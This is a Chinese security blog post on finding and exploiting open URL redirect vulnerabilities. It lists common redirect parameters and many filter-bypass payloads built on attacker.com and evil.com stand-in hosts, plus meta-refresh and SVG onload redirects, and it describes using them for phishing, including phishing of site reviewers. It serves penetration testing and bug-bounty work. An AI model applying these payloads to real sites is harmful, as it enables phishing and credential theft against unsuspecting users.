url重定向奇淫技巧

url重定向奇淫技巧

漏洞原理

Url重定向是程序员误信了攻击者的输入而将网站重定向到另一个站点,这通常通过url参数、HTML<meta>刷新标签、DOM中的window对象的location属性来实现的

很多Web 网站都是通过在原始 URL 的参数中设置目标 URL 来有意实现用户访问的重定向的。应用程序通过使用这个参数来告诉浏览器向目标 URL 发送一个GET请求,,例如,假定百度网站具有重定向到 Email 的功能,就可以通过访问如下URL 实现:

https://www.baidu.com/?redirect_to=https://www.Email.com

在这种情况下,当我们访问上面的 URL时,百度网站会接收到一个HTTP 的GET 请求,然后依据 redirect_to 参数中指定的值来确定将你的浏览器重定向到哪里。在这之后,百度 网站服务器会返回一个用于指示浏览器重定向用户的 HTTP响应状态码。通常,这个状态码是302,但有时也可能是 301、303、307 或 308。这些 HTTP 响应状态码告诉浏览器请求的网页找到了,但是需要浏览器发起一个 GET请求到redirect_to 参数值,https://www.email.com/ 这个参数值也在HTTP 响应Location 头中。Location 头表示了向哪里重定向 CET 请求。现在,假设攻击者修改了原始的 URL,如下所示:https://www.baidu.com/?redirect_to=https://www.diaoyuwangzhan.com 如果百度没有验证 redirect_ to参数是否为其将访问者重定向到一个自有合法站点,攻击者就可以将该参数的值换成它们自己的 URL。结果是,HTTP 响应可能会引导浏览器向 https://www.diaoyuwangzhan.com 发起 GET 请求。一旦攻击者已经引导用户到他们的恶意网站,就可以发起进一步的攻击

挖掘思路

容易出现的点在

1.用户登录,退出,统一身份认证处

2.点击跳转,用户分享等位置

3.站点内跳转,注册,登录,修改密码,注销账号,支付成功后等等

常见的跳转参数名字

http://xxx.com/link?url=https://baidu.com

  • redirect
  • redirect_to
  • redirect_url
  • url
  • jump
  • jump_to
  • target
  • to
  • link
  • linkto
  • domain
  • returnurl
  • sourceurl
  • linkurl
  • fromurl
  • reurl

利用?号绕过限制

正常链接:http://www.aaa.com/abc?url=http://login.aaa.com

这是一个跳转链接,跳转到它二级域名下,那么这个问号放在哪里可以绕过呢?其实就是放在它自身的域名前面也就是你添加的想要跳转的域名的后面。

绕过:http://www.aaa.com/abc?url=http://test.com?login.aaa.com

它其实是会跳转到这个http://test.com域名下,这个域名是我想要跳转的任意的域名,而后面的它自生域名一定要带上,不带上就无法辅助用问号?这个特性来跳转到指定域名了,而跳转后,问号和问号后面的内容会变为这样:

http://www.test.com/?login.aaa.com(引用)

利用反斜杠和正斜杠绕过限制

正斜杠/

比如:http://www.aaa.com/abc?url=http://login.aaa.com/ 同样是在它本身域名前加上正斜杠,然后正斜杠前面跟上你想要跳转的域名地址。

如:http://www.aaa.com/abc?url=http://test.com/login.aaa.com

反斜杠\

1、两个反斜杠绕过方法

比如:http://www.aaa.com/abc?url=http://login.aaa.com/ 同样是在它本身域名前加上两个反斜杠,然后两个反斜杠前面跟上你想跳转的域名地址。

如:http://www.aaa.com/abc?url=http://test.com\\login.aaa.com

2、一个反斜杠绕过方法

如:http://www.aaa.com/abc?url=http://test.com\login.aaa.com

3、一个反斜杠一个点

利用:这样的格式,也就是一个反斜杠加一个点来跳过限制。

如:http://www.aaa.com/abc?url=http://test.com\.login.aaa.com

利用@绕过URL限制

如果你用在火狐里进行跳转,会有弹窗提示,在其他浏览器则没有。

如:http://www.aaa.com/abc?url=http://login.aaa.com@test.com ,后面的test.com就是要跳转到的域名,前面的域名都是用来辅助以绕过限制的。

利用#号绕过

http://www.aaa.com/abc?url=http://test.com#login.aaa.com

利用白名单缺陷绕过

有的域名白名单限制是不全的,比如如果想利用一个跳转,而这个跳转是通用,在这个公司网站很多子域名等都可以跳转,那么你买一个域名,为什么这么说呢?这个问题就是白名单限制不当,比如,当跳转的域名包含这个网站下的所有域名,比如:http://www.aaa.com/abc?url=http://login.aaa.com ,这个login.aaa.com也可以改成aaa.com同样可以跳转的,因为白名单里只要有包含这个域名就直接成功跳转,那么当我在这个域名前面加上如testaaa.com,白名单里会检查是否包含aaa.com这个域名,包含,然后直接跳转,而并没有检查这个域名的整个信息,然后可以利用这个问题,直接注册一个testaaa.com这个域名就可以利用这个跳转。

多重验证&跳转绕过限制

现在很多网站都有多重验证,比如你登录账户后会出现另一个验证页面,输入手机验证码进行验证,此时这上面的URL很可能存在任意跳转的问题。

多重跳转的问题导致可绕过URL限制。

比如:http://www.aaa.com.abc?url=http://login.aaa.com/abc?url=http://login.aaa.com ,当然,还有多重的,这个结构的多重跳转你修改最后面的url就可以达到任意URL跳转,中间的url就没必要动了。

点击触发达到绕过URL跳转限制

比如很多登录页面的地方,其URL是一个跳转的URL,如:http://www.aaa.com/abc?url=http://test.com ,你直接修改后面为任意url,但是还是停留在原地,似乎没什么问题,但是,当你输入账号和密码后点击登录按钮后,就会触发跳转,当然,这个用户名和密码不一定要对的,随便都可以,但的视系统而定吧,这个问题之前遇到很多,比如你修改了域名,然后点击登录,登录成功后便触发跳转,这也是一个比较隐蔽的绕过URL的跳转。

POST参数中URL跳转

当你填什么表格或者需要填写什么,当你上传图片,点击下一步的时候,通常下一步就是预览你填写的信息,最后才是提交,当你上传了图片点击下一步抓包,如果过滤不严,你会看到图片的完整地址包含在POST参数里, 你就可以直接修改这个地址为任意的URL,然后达到下一步,这时事确定信息也就是预览自己填写的信息的正确还是不正确,由于你刚刚修改了图片地址,这里是没有显示出来,图像会是一个小xx,当点击图片右键选择查看图像时,就会触发URL跳转问题,其实这个也可以利用来进行钓鱼,钓后台审核员的信息。

利用http://xip.io绕过

请求是http://127.0.0.1.xip.io 这个绕过是在SSRF场景中的绕过,比如SSRF你要读取内网地址,一般都做了限制,可以尝试用这个方法进行绕过限制,从而访问到内网。

另外一点,URL跳转涉及的安全问题大家常见的就是钓鱼,那么利用这个思路也可达成一个钓鱼问题,如:http://www.qq.com.220.181.57.217.xip.io 当你访问qq这个域名时,其实这个链接已经被解析到后面这个ip地址上了,那么实际访问的就是后面这个IP地址。

协议绕过

http与https协议转换尝试,或者省略。

http与https协议转换尝试,或者省略

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=//www.xiaozhupeiqi.com@www.baidu.com

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=www.xiaozhupeiqi.com@www.baidu.com//**多斜线**

可信站点超链接

比如一个 URL,它是可以直接跳转的,但是一般测试跳转时大家习惯用 http://www.baidu.com 或 http://qq.com 这样的可信站点进行测试,但是有些网站是可以跳转这些网站的。只要是可信站点且常用,基本都可以跳转,那么这就属于正常的业务逻辑了,难度就这样错失一个 URL 跳转漏洞了?其实不然,只要你的 URL 被百度收录过,那么直接搜索你的域名,site:xxx.xxx. 因为你在百度里点击你的域名,它会先是一个 302 跳转,而这个 302 跳转就是百度下的 302 跳转,那么这样就可以绕过可信站点的限制,从而达到跳转到指定 URL。当然,百度这个 302 有点长,你给它进行加密就行。

POST 参数

当然,这个影响就很小了,比如当你填什么表格或者需要填写什么的,当你上传图片,点击下一步的时候,通常下一步就是预览你填写的信息,最后才是提交。当你上传了图片后点击下一步抓包,如果过滤不严,你会看到图片的完整地址包含在 POST 参数里,你就可以直接修改这个地址为任意 URL,然后到达下一步。这时是确定信息也就是预览自己填写的信息的正确还是不正确,由于你刚刚修改了图片地址,这里是没有显示出来的,图像会是一个小 XX。当点击图片右键选择查看图像时,就会触发 URL 跳转问题,其实这个也可以利用来进行钓鱼,钓后台审核员的信息。为什么呢,比如审核看到图片无法加载,一般都会点击查看图片,然后跳转,如果安全意识不知就会造成安全影响。当然,如果 POST 参数里就只是 URL 跳转参数,那么你可以给它转成 GET 方式,然后进行跳转就可以了,只要网站支持这样的 GET 方式就行。在 Burp Suite 里可以一键转换提交方式,右键选择 Change request method 就可以!

一些其他的重定向

META标签的重定向

必须的属性

描述:定义与 http-equiv 或 name 属性相关的元信息

可选的属性

<meta http-equiv="refresh" content="1;URL=http://www.evil.com">

SVG⽂件的重定向

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

实战案例

一个简单的思路:国外的网站

https://www.xxxx.com/wp-content/themes/begin%20lts/inc/go.php?url=http://xxx.com/

两个网站进行跳转

构造一下

https://www.xxxx.com/wp-content/themes/begin%20lts/inc/go.php?url=

https://baidu.com/

验证成功

换百度也可以换钓鱼链接

如果将URL后面的地址修改成功我们自己搭建的钓鱼界面的话,那么是不是就可以成功进行钓鱼了,比如在一些需要输入账号密码的输入框页面中,那么当跳转后,用户依旧以为是正常的跳转,实际上已经跳转到攻击者构建的网站上了

一些常见思路

@绕过

@是最常见的一种绕过

漏洞url:

https://xx.xxx.com/user/goToLogin?toUrl=https://xx.xxx.com@www.baidu.com

这种跳转在chrome浏览器可以直接跳转,但是在火狐会弹窗询问,当时并不影响它的危害。

还有一些是目录跳转。

比如:https://xx.xxx.com.cn/?redirect=/user/info.php

修改为:https://xx.xxx.com.cn/?redirect=@www.baidu.com

这种情况通常@也可以跳转,大胆的去尝试。

充值接口跳转

通常充值接口都会进行跳转,如果充值成功会跳转到充值前访问的页面,因为充值接口需要充值才能知道到底存不存在漏洞,所以测试的人相对较少一点,我们需要尝试,单车变摩托,充值完成后还可以体现,其实并不影响,不嫌麻烦的就多测测,

业务完成后跳转

这可以归结为一类跳转,比如修改密码,修改完成后跳转登录页面,绑定银行卡,绑定成功后返回银行卡充值等页面,或者说给顶一个链接办理VIP,但是你需要认证身份才能访问这个业务,这个时候通常会给定一个链接,认证之后跳转到刚刚要办理的VIP页面。

通常这个点都会存在跳转至于存不存在任意跳转,自己测试就知道了。

用户交互

有一些用户交互页面也会出现跳转,如请填写对客服的评价,评价成功跳转主页,填写问卷,等等业务,注意观察url。

漏洞构造漏洞

一次渗透测试中碰到的一个任意文件上传漏洞,但是不幸的是没办法解析任何后端语言,没办法进一步利用,只能前端造成一点点危害,但是存放文件的服务器一般比较偏远,此时可以利用任意文件上传的html,然后来进一步利用,绕过本来无法绕过的url跳转漏洞,因为存放文件的域名肯定是符合网站跳转的范围。

最终构成url跳转漏洞,当然可以获取cookie造成更多的危害。

UrlRedirectScan

Burp插件

https://github.com/FridaZhbk/UrlRedirectScan

使用方法

该插件可自动获取Logger中的所有流量信息,也就是经过Burp的所有httpl巨量,插件捕获流量信息后会去自动进行请求包Fuzzing,将Fuzzing后成功的请求包发送到插件的UI界面中展现,包括请求方法,Host、Url、Paramas信息

该插件可自动获取Logger中的所有流量信息,也就是经过Burp的所有httpl巨量,插件捕获流量信息后会去自动进行请求包Fuzzing,将Fuzzing后成功的请求包发送到插件的UI界面中展现,包括请求方法,Host、Url、Paramas信息

如果利用内置payload未检测成功,会在此处打印检测了xxxx,没检测到。可根据输出的关键信息在burp流量中进行搜索,并根据自己的需求进行二次构造。

参考链接: https://mp.weixin.qq.com/s/V36LMekjbCLB6-3JxZX40g

src案例:

第一个:

这是一个购物商城的卖家后台的漏洞,我们在浏览时突然发现一个get参数是跳转到货物供应链的:

www.xxx.xxx.com/oauta/authurl/?targeturl=www.gongyinglian.xxx.xxx.cn

我们可以看见参数targeturl?=后面跟着跳转的参数,然后我们将参数修改为http://www.baidu.com 即可跳转到百度 而百度bai.du的域和某购物商城的域完全不同了,及收获一枚url跳转漏洞

第二个:

场景是对一个视频分享它会生成一个二维码跳转到我们要分享的视频,可我们可以在生成二维码的时候进行抓包导致url转漏洞:

分享视频地址生成的二维码

修改该地址为https://www.baidu.com,修改完成后,刷新该界面

使用手机扫码,直接跳转到修改的地址。

微信最新url跳转

https://xxxxx.weixin.qq.com/security/readtemplate?t=w_security_center_website/w_tcaptcha&url=http://www.baidu.com&&wechat_real_lang=zh_CN&aid=2000000038&clientype=1&lang=2052&apptype=undefined&captype=7&disturblevel=1&secticket=3_3900199130566467133420440

绕过⽅法汇总

- www.xxx.com:80@baidu.com 
- www.xxx.com:80@baidu.com:80 
  www.xxx.com#@baidu.com 
- www.xxx.com @baidu.com 
- www.xxx.com @baidu.com:80 
- www.xxx.com\www.baidu.com 
- www.xxx.com\\www.baidu.com 
- www.xxx.com?www.baidu.com 
- www.xxx.com#www.baidu.com 
- evil.com\.url 
- www.evil.com。www.attacker.com www.evil.com%E3%80%82www.attacker.com www.evil.com%E3%80%82%40www.attacker.com 
- ⽐如⽹站限制test.com可以跳转,但是改成eviltest.com,⽩名单检查到包含tes t.com这个域名就通过了,这⾥忽略了检查完整域名
- https:attacker.com
- https:/attacker.com 
- http:/\/\attacker.com 
- https:/\attacker.com 
- //attacker.com 
- \/\/attacker.com/ 
- /\/attacker.com/ 
- /attacker.com 
- %0D%0A/attacker.com 
- #attacker.com #%20@attacker.com 
- @attacker.com 
- attacker%00.com 
- attacker%E3%80%82com 
- http://{domain}@attacker.com 
- http://{domain}%6D@attacker.com https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)s ome=param(\uff03)hash@attacker.com 
- http://attacker.com#{domain} 
- http://{domain}.attacker.com 
- http://attacker.com/{domain} 
- http://attacker.com/?d={domain} 
- https://{domain}@attacker.com 
- https://attacker.com#{domain} 
- https://{domain}.attacker.com
- https://attacker.com/{domain} 
- https://attacker.com/?d={domain} 
- http://{domain}@attacker.com
- http://attacker.com#{domain} 
- http://{domain}.attacker.com 
- http://attacker.com/{domain} 
- http://attacker.com/?d={domain} 
- http://attacker.com%00{domain} 
- http://attacker.com?{domain} 
- http://attacker.com///{domain}
- https://attacker.com%00{domain} 
- https://attacker.com%0A{domain} 
- https://attacker.com?{domain} 
- https://attacker.com///{domain} 
- https://attacker.com\{domain}/ 
- https://attacker.com;https://{domain} 
- https://attacker.com\{domain}/
- https://attacker.com\.{domain} 
- https://attacker.com/.{domain} 
- https://attacker.com\@@{domain} 
- https://attacker.com:\@@{domain} 
- https://attacker.com#\@{domain} 
- https://attacker.com\anything@{domain}/ 
- www.evil.com%E3%80%AE@www.baidu.com www.evil.com%E2%80%AE@www.baidu.com
  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值